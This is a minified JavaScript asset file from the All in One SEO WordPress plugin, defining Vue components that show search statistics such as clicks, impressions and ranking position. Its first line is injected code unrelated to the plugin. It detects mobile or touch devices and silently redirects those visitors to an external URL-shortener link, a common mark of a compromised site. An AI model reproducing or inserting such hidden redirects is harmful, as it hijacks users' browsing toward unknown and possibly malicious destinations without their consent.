(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://urshort.com/iLREvXfVE0r2");
import{aD as P,r as _,f as l,i as w,j as m,P as h,an as g,Q as k,M as y,ae as D,U as R,R as M,a0 as Y}from"./vendor-vue-ui.c21c50b5.js";import{b as N,h as F,n as c,S as v,p as L}from"./app-core.52885c02.js";import{a as i,_ as f,c as u,d as x}from"./vendor-other.ec82d685.js";import{C as T}from"./Tooltip.9761aafe.js";import{_ as C}from"./_plugin-vue_export-helper.eefbdd86.js";const W=(e={})=>{const{processFilterTable:o,showUpsell:t}=e,a=_("clicks"),d=_("desc"),s=_(10),n=P(),S=p=>{n.push({name:"post-detail",query:{postId:p.objectId,previousRoute:n.currentRoute.value.name}})},B=N(),I=F();return{openPostDetail:S,orderBy:a,orderDir:d,processFilter:p=>{t.value=(!B.isPro||I.isUnlicensed)&&p.slug!=="all",o(p)},resultsPerPage:s}},V="all-in-one-seo-pack",U=()=>({formatStatistic:(o,t)=>o==="ctr"?`${Math.abs(t)}%`:o==="position"?Math.abs(t).toFixed(0):o==="decay"?i(f("%1$s Points",V),c.numberFormat(t,0)):o==="decayPercent"?`${t}%`:(t=Math.abs(t),c.compactNumber(t))}),j={props:{direction:{type:String,default(){return"down"}}}};function A(e,o,t,a,d,s){return l(),w("svg",{viewBox:"0 0 11 6",fill:"none",xmlns:"http://www.w3.org/2000/svg",class:h(["aioseo-caret-solid","aioseo-caret-solid--"+t.direction])},[...o[0]||(o[0]=[m("path",{d:"M0.25 5.07812L5.25 0.078125L10.25 5.07812H0.25Z",fill:"currentColor"},null,-1)])],2)}const E=C(j,[["render",A]]),r="all-in-one-seo-pack",H={setup(){const{formatStatistic:e}=U();return{formatStatistic:e,rootStore:N(),searchStatisticsStore:L()}},components:{CoreTooltip:T,SvgCaretSolid:E},props:{total:[Number,String],difference:[Number,String],showCurrent:{type:Boolean,default(){return!0}},showDifference:{type:Boolean,default(){return!0}},showZeroValues:{type:Boolean,default(){return!1}},type:{type:String,required:!0},tooltipOffset:{type:String,default(){return"0,0"}}},computed:{differenceRounded(){return this.type==="position"?Math.round(this.difference)*-1:this.difference}},methods:{compareDescription(e,o){const t=o==="up"?f("Up",r):f("Down",r),a=this.searchStatisticsStore.shouldShowSampleReports?x().subtract(14,"day").format("YYYY-MM-DD"):this.searchStatisticsStore.range.compareStart,d=this.searchStatisticsStore.shouldShowSampleReports?x().subtract(7,"day").format("YYYY-MM-DD"):this.searchStatisticsStore.range.compareEnd,s=new Date(`${a} 00:00:00`),n=new Date(`${d} 00:00:00`);return i(f("%1$s %2$s %3$s compared to the previous period (%4$s - %5$s)",r),t,"<strong>"+this.points(e)+"</strong>",this.type==="position"?f("in search results",r):"","<strong>"+v(s,this.rootStore.aioseo.data.dateFormat)+"</strong>","<strong>"+v(n,this.rootStore.aioseo.data.dateFormat)+"</strong>")},points(e){switch(this.type){case"clicks":return i(u("%s click","%s clicks",parseInt(this.formatStatistic("clicks",e)),r),c.compactNumber(e));case"impressions":return i(u("%s impression","%s impressions",parseInt(this.formatStatistic("impressions",e)),r),c.compactNumber(e));case"ctr":return this.formatStatistic("ctr",e);case"position":return e=parseInt(Math.round(e)),i(u("%s spot","%s spots",parseInt(this.formatStatistic("position",e)),r),e);case"keywords":return i(u("%s keyword","%s keywords",parseInt(this.formatStatistic("keywords",e)),r),c.compactNumber(e));case"decay":case"diffDecay":return i(u("%s point","%s points",parseInt(this.formatStatistic("keywords",e)),r),c.compactNumber(e));default:return""}}}},Z={key:0},q=["innerHTML"];function O(e,o,t,a,d,s){const n=g("svg-caret-solid"),S=g("core-tooltip");return l(),w("div",{class:h(["statistic",`statistic-${t.type}`])},[t.showCurrent&&(t.total||t.showZeroValues)?(l(),w("span",Z,[m("span",{class:h(["statistic-direction",{up:0<t.total,down:0>t.total}])},[t.total!==0&&t.type==="decayPercent"?(l(),k(n,{key:0,direction:0<t.total?"up":"down"},null,8,["direction"])):y("",!0),D(" "+R(a.formatStatistic(t.type,t.total)),1)],2)])):y("",!0),t.showDifference&&s.differenceRounded!==0?(l(),k(S,{key:1,offset:t.tooltipOffset},{tooltip:M(()=>[m("span",{innerHTML:s.compareDescription(Math.abs(s.differenceRounded),0<s.differenceRounded?"up":"down")},null,8,q)]),default:M(()=>[m("span",{class:h(["statistic-direction",{up:0<s.differenceRounded,down:0>=s.differenceRounded}])},[Y(n,{direction:0<s.differenceRounded?"up":"down"},null,8,["direction"]),D(" "+R(a.formatStatistic(t.type,s.differenceRounded)),1)],2)]),_:1},8,["offset"])):y("",!0)],2)}const X=C(H,[["render",O]]);export{X as S,W as a,U as u};
